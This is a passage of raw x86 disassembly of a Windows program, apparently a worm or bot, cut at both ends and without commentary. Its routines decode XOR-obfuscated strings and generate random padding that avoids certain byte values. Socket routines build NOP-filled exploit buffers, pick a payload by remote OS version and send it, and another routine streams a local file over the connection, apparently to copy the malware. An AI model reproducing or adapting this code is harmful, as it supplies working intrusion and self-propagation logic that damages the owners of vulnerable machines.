or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+2] shl ecx, 10h or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+3] shl ecx, 18h or eax, ecx mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax jmp short loc_410253 ; --------------------------------------------------------------------------- locret_4102AC: ; CODE XREF: sub_410244+25j leave retn sub_410244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102AE proc near ; CODE XREF: .data:004168D0p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0F0000000h push 1 push 0 push 0 lea eax, [ebp+var_4] push eax call dword_417024 ; CryptAcquireContextA push offset dword_41EAAC push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAB0 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAB4 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAB8 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push 0 push [ebp+var_4] call dword_41701C ; CryptReleaseContext leave retn sub_4102AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410318 proc near ; CODE XREF: sub_4103F5+6p ; sub_410422+6p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi lock xadd dword_41EAAC, eax add eax, ebx lock xadd dword_41EAB0, eax add eax, ecx lock xadd dword_41EAB4, eax add eax, edx lock xadd dword_41EAB8, eax add eax, esi lock xadd dword_41EAAC, eax add eax, edi lock xadd dword_41EAB0, eax add eax, ebp lock xadd dword_41EAB4, eax add eax, esp lock xadd dword_41EAB8, eax call sub_416B64 ; clock mov [ebp+var_4], eax mov eax, [ebp+var_4] lock xadd dword_41EAAC, eax lock xadd dword_41EAB0, eax lock xadd dword_41EAB4, eax lock xadd dword_41EAB8, eax add ecx, ebx ror ebx, cl lock xadd dword_41EAB4, ebx add ecx, ecx ror ecx, cl lock xadd dword_41EAB0, ecx add ecx, edx ror edx, cl lock xadd dword_41EAAC, edx rol eax, cl add ecx, eax ror ebx, cl add ecx, ebx ror ecx, cl add ecx, 211h rol edx, cl add ecx, edx lock xadd dword_41EAB8, edx lock xadd dword_41EAB4, ecx lock xadd dword_41EAB0, ebx lock xadd dword_41EAAC, eax pop edi pop esi pop ebx leave retn sub_410318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103F5 proc near ; CODE XREF: sub_4020C2+10Bp ; sub_4040E8+2Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAB8, eax mov ecx, [ebp+arg_4] sub ecx, [ebp+arg_0] xor edx, edx inc ecx div ecx mov eax, edx add eax, [ebp+arg_0] pop edi pop esi pop ebx pop ebp retn sub_4103F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410422 proc near ; CODE XREF: sub_40CF2F:loc_40CFBCp ; sub_40D871+D3Fp ... push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAB8, eax pop edi pop esi pop ebx pop ebp retn sub_410422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41043F proc near ; CODE XREF: sub_4055E5+715p ; sub_4055E5+78Bp push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAB4, eax and eax, 0FFFFh pop edi pop esi pop ebx pop ebp retn sub_41043F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410461 proc near ; CODE XREF: sub_4104A3+42p ; sub_4125DF:loc_4126B8p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAB0, eax and eax, 0FFh pop edi pop esi pop ebx pop ebp retn sub_410461 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410483 proc near ; CODE XREF: sub_4055E5+72Bp ; sub_40D7E5+57p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAAC, eax and eax, 1 pop edi pop esi pop ebx pop ebp retn sub_410483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104A3 proc near ; CODE XREF: sub_40A9CF+D4Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_4104AF jmp short locret_4104FF ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_4104A3+8j mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4104B5: ; CODE XREF: sub_4104A3+34j cmp [ebp+arg_4], 3 jbe short loc_4104D9 call sub_410422 mov ecx, [ebp+var_4] mov [ecx], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax jmp short loc_4104B5 ; --------------------------------------------------------------------------- loc_4104D9: ; CODE XREF: sub_4104A3+16j mov eax, [ebp+var_4] mov [ebp+arg_0], eax loc_4104DF: ; CODE XREF: sub_4104A3+5Aj cmp [ebp+arg_4], 0 jbe short locret_4104FF call sub_410461 mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax jmp short loc_4104DF ; --------------------------------------------------------------------------- locret_4104FF: ; CODE XREF: sub_4104A3+Aj ; sub_4104A3+40j leave retn sub_4104A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410501 proc near ; CODE XREF: sub_403260+36p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_410510 xor eax, eax jmp short locret_41055D ; --------------------------------------------------------------------------- loc_410510: ; CODE XREF: sub_410501+9j cmp [ebp+arg_10], 0 jnz short loc_41051C mov eax, [ebp+arg_4] mov [ebp+arg_10], eax loc_41051C: ; CODE XREF: sub_410501+13j push [ebp+arg_10] push [ebp+arg_4] call sub_4103F5 pop ecx pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] mov [ebp+var_4], eax loc_410532: ; CODE XREF: sub_410501+57j cmp [ebp+var_4], 0 jbe short loc_41055A push [ebp+arg_C] push [ebp+arg_8] call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax jmp short loc_410532 ; --------------------------------------------------------------------------- loc_41055A: ; CODE XREF: sub_410501+35j mov eax, [ebp+var_8] locret_41055D: ; CODE XREF: sub_410501+Dj leave retn sub_410501 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41055F proc near ; CODE XREF: .data:004168E1p var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EAC0 call sub_40F26E pop ecx pop ecx lea esi, byte_41EAC0 mov edi, esi push 10h pop ecx loc_41059F: ; CODE XREF: sub_41055F+47j lodsb or eax, 80h stosb loop loc_41059F pop edi pop esi pop ebx leave retn sub_41055F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105AD proc near ; CODE XREF: sub_406E8E+C6p ; sub_406E8E+14Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jle short loc_4105BE jmp short locret_4105F9 ; --------------------------------------------------------------------------- loc_4105BE: ; CODE XREF: sub_4105AD+Dj and [ebp+var_4], 0 jmp short loc_4105CB ; --------------------------------------------------------------------------- loc_4105C4: ; CODE XREF: sub_4105AD+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4105CB: ; CODE XREF: sub_4105AD+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_4105F9 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAC0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4105C4 ; --------------------------------------------------------------------------- locret_4105F9: ; CODE XREF: sub_4105AD+Fj ; sub_4105AD+29j leave retn sub_4105AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105FB proc near ; CODE XREF: sub_401000+4Ap ; sub_4043E9+1Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jg short loc_41060C jmp short locret_410647 ; --------------------------------------------------------------------------- loc_41060C: ; CODE XREF: sub_4105FB+Dj and [ebp+var_4], 0 jmp short loc_410619 ; --------------------------------------------------------------------------- loc_410612: ; CODE XREF: sub_4105FB+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410619: ; CODE XREF: sub_4105FB+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_410647 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAC0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_410612 ; --------------------------------------------------------------------------- locret_410647: ; CODE XREF: sub_4105FB+Fj ; sub_4105FB+29j leave retn sub_4105FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410649 proc near ; DATA XREF: .data:off_41CCD6o var_1B78 = dword ptr -1B78h var_1B74 = byte ptr -1B74h var_B74 = byte ptr -0B74h var_B6C = dword ptr -0B6Ch var_B64 = dword ptr -0B64h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = byte ptr -36Ch var_280 = byte ptr -280h var_276 = byte ptr -276h var_272 = byte ptr -272h var_23A = byte ptr -23Ah var_236 = byte ptr -236h var_232 = byte ptr -232h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1B78h call sub_416BC0 push 48h push offset dword_41A7B0 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410686 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_410686: ; CODE XREF: sub_410649+36j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call dword_417248 ; recv push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_200] push eax call sub_4125DF add esp, 20h mov [ebp+var_370], eax cmp [ebp+var_370], 0 jnz short loc_4106F0 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_4106F0: ; CODE XREF: sub_410649+A0j and [ebp+var_374], 0 jmp short loc_410706 ; --------------------------------------------------------------------------- loc_4106F9: ; CODE XREF: sub_410649+E1j mov eax, [ebp+var_374] inc eax mov [ebp+var_374], eax loc_410706: ; CODE XREF: sub_410649+AEj cmp [ebp+var_374], 168h jge short loc_41072C push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_374] mov [ebp+ecx+var_36C], al jmp short loc_4106F9 ; --------------------------------------------------------------------------- loc_41072C: ; CODE XREF: sub_410649+C7j push 0Ah push offset loc_41A8A0 lea eax, [ebp+var_280] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset loc_41A8F0 lea eax, [ebp+var_276] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset loc_41A8E8 lea eax, [ebp+var_272] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset loc_41A8EC lea eax, [ebp+var_23A] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push (offset loc_41A8E3+1) lea eax, [ebp+var_236] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0Bh push offset loc_41A894 lea eax, [ebp+var_232] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E6h sub eax, [ebp+var_370] mov [ebp+var_204], eax and [ebp+var_1B78], 0 push 18h push offset dword_41A7FC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 18h mov [ebp+var_1B78], eax push 44h push offset dword_41A818 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 44h mov [ebp+var_1B78], eax push 20h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 20h mov [ebp+var_1B78], eax push 4 push offset loc_41A8AC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8E0 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset dword_41A8D8 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8DC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 58h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 58h mov [ebp+var_1B78], eax push 6 push offset loc_41A8B4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push 8 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 8 mov [ebp+var_1B78], eax push 4 push offset loc_41A8BC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 6 push offset loc_41A8C4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push [ebp+var_204] push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_204] mov [ebp+var_1B78], eax push [ebp+var_370] lea eax, [ebp+var_200] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_370] mov [ebp+var_1B78], eax push 168h lea eax, [ebp+var_36C] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 168h mov [ebp+var_1B78], eax push 0Ah push offset off_41A8CC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 0Ah mov [ebp+var_1B78], eax push 32h push offset dword_41A860 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 32h mov [ebp+var_1B78], eax mov eax, [ebp+var_1B78] mov [ebp+var_B6C], eax mov eax, [ebp+var_1B78] sub eax, 18h mov [ebp+var_B64], eax push [ebp+var_1B78] lea eax, [ebp+var_B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410B36 jmp short locret_410B50 ; --------------------------------------------------------------------------- loc_410B36: ; CODE XREF: sub_410649+4E9j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call dword_417248 ; recv locret_410B50: ; CODE XREF: sub_410649+38j ; sub_410649+A2j ... leave retn sub_410649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B52 proc near ; DATA XREF: .data:0041CD10o var_104C = byte ptr -104Ch var_FC6 = byte ptr -0FC6h var_BDE = byte ptr -0BDEh var_B9E = byte ptr -0B9Eh var_B7C = dword ptr -0B7Ch var_B78 = byte ptr -0B78h var_AF2 = byte ptr -0AF2h var_88E = byte ptr -88Eh var_882 = byte ptr -882h var_85E = byte ptr -85Eh var_852 = byte ptr -852h var_82E = byte ptr -82Eh var_80C = byte ptr -80Ch var_7CC = byte ptr -7CCh var_7C8 = byte ptr -7C8h var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 104Ch call sub_416BC0 push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_204] push eax call sub_4125DF add esp, 20h mov [ebp+var_20C], eax cmp [ebp+var_20C], 0 jnz short loc_410BAF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BAF: ; CODE XREF: sub_410B52+56j push 89h push offset dword_41AF50 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410BEF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BEF: ; CODE XREF: sub_410B52+96j push 0A8h push offset dword_41AFDC mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C2F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C2F: ; CODE XREF: sub_410B52+D6j push 0DEh push offset dword_41B088 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C6F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C6F: ; CODE XREF: sub_410B52+116j movsx eax, [ebp+var_7CC] sub eax, 30h mov [ebp+var_208], al movsx eax, [ebp+var_7C8] sub eax, 30h mov [ebp+var_4], al push 3Eh push offset dword_41B168 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410CC9 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410CC9: ; CODE XREF: sub_410B52+170j push 60h push offset dword_41B1A8 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D06 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D06: ; CODE XREF: sub_410B52+1ADj push 0A0h push offset dword_41B20C mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D46 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D46: ; CODE XREF: sub_410B52+1EDj movsx eax, [ebp+var_208] cmp eax, 5 jnz loc_410E71 movsx eax, [ebp+var_4] cmp eax, 1 jnz loc_410E71 push 86h push offset dword_41B2B0 lea eax, [ebp+var_B78] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_AF2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0 mov eax, 264h sub eax, [ebp+var_20C] add eax, 60h push eax mov eax, [ebp+var_20C] lea eax, [ebp+eax+var_AF2] push eax loc_410DB7: ; DATA XREF: .data:off_419A7Co call sub_410F60 add esp, 0Ch push 4 push offset dword_41B410 lea eax, [ebp+var_88E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_882] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_85E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_852] push eax call sub_416B52 ; memcpy add esp, 0Ch push 20h push offset dword_41B338 lea eax, [ebp+var_82E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 400h call dword_41709C ; Sleep push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410E71: ; CODE XREF: sub_410B52+1FEj ; sub_410B52+20Bj movsx eax, [ebp+var_208] cmp eax, 5 jnz short loc_410E85 movsx eax, [ebp+var_4] test eax, eax jz short loc_410E95 loc_410E85: ; CODE XREF: sub_410B52+329j movsx eax, [ebp+var_208] cmp eax, 4 jnz locret_410F5E loc_410E95: ; CODE XREF: sub_410B52+331j push 86h push offset dword_41B35C lea eax, [ebp+var_104C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E8h sub eax, [ebp+var_20C] push eax push 90h lea eax, [ebp+var_FC6] push eax call sub_416B6A ; memset add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_BDE] sub eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch and [ebp+var_B7C], 0 jmp short loc_410F06 ; --------------------------------------------------------------------------- loc_410EF9: ; CODE XREF: sub_410B52+3DAj mov eax, [ebp+var_B7C] inc eax mov [ebp+var_B7C], eax loc_410F06: ; CODE XREF: sub_410B52+3A5j cmp [ebp+var_B7C], 10h jge short loc_410F2E push 4 push offset dword_41B408 mov eax, [ebp+var_B7C] lea eax, [ebp+eax*4+var_BDE] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_410EF9 ; --------------------------------------------------------------------------- loc_410F2E: ; CODE XREF: sub_410B52+3BBj push 20h push offset dword_41B3E4 lea eax, [ebp+var_B9E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4CEh lea eax, [ebp+var_104C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch locret_410F5E: ; CODE XREF: sub_410B52+58j ; sub_410B52+98j ... leave retn sub_410B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F60 proc near ; CODE XREF: sub_410B52:loc_410DB7p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_8], 0 jnz short loc_410FA4 and [ebp+var_4], 0 jmp short loc_410F79 ; --------------------------------------------------------------------------- loc_410F72: ; CODE XREF: sub_410F60+3Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410F79: ; CODE XREF: sub_410F60+10j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_410F9F push 20h push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410F72 ; --------------------------------------------------------------------------- loc_410F9F: ; CODE XREF: sub_410F60+1Fj jmp locret_41102D ; --------------------------------------------------------------------------- loc_410FA4: ; CODE XREF: sub_410F60+Aj cmp [ebp+arg_8], 7Fh jnz short loc_410FDF and [ebp+var_8], 0 jmp short loc_410FB7 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_410F60+7Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_410FB7: ; CODE XREF: sub_410F60+4Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnb short loc_410FDD push 5 push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410FB0 ; --------------------------------------------------------------------------- loc_410FDD: ; CODE XREF: sub_410F60+5Dj jmp short locret_41102D ; --------------------------------------------------------------------------- loc_410FDF: ; CODE XREF: sub_410F60+48j and [ebp+var_C], 0 loc_410FE3: ; CODE XREF: sub_410F60+ADj ; sub_410F60+CBj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jnb short locret_41102D push 20h push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_10], al movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_8] and ecx, dword_41BB01[eax] test ecx, ecx jz short loc_41100F jmp short loc_410FE3 ; --------------------------------------------------------------------------- loc_41100F: ; CODE XREF: sub_410F60+ABj movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_C] mov al, byte_41BB00[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_410FE3 ; --------------------------------------------------------------------------- locret_41102D: ; CODE XREF: sub_410F60:loc_410F9Fj ; sub_410F60:loc_410FDDj ... leave retn sub_410F60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41102F proc near ; CODE XREF: sub_41113B+79Bp var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 210h push 0EA60h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_4050EA add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411065 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_41106C loc_411065: ; CODE XREF: sub_41102F+2Bj xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41106C: ; CODE XREF: sub_41102F+34j push offset aRb ; "rb" push offset dword_41EAFC call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_41109F push [ebp+var_204] call sub_4053B1 pop ecx xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41109F: ; CODE XREF: sub_41102F+5Bj ; sub_41102F:loc_41111Cj mov eax, [ebp+var_208] mov eax, [eax+0Ch] and eax, 10h test eax, eax jnz short loc_41111E push [ebp+var_208] push 200h push 1 lea eax, [ebp+var_200] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_20C], eax push [ebp+var_20C] lea eax, [ebp+var_200] push eax push [ebp+var_204] call sub_4053BF add esp, 0Ch mov [ebp+var_210], eax mov eax, [ebp+var_20C] cmp eax, [ebp+var_210] jz short loc_41111C push [ebp+var_204] call sub_4053B1 pop ecx push [ebp+var_208] call sub_416B82 ; 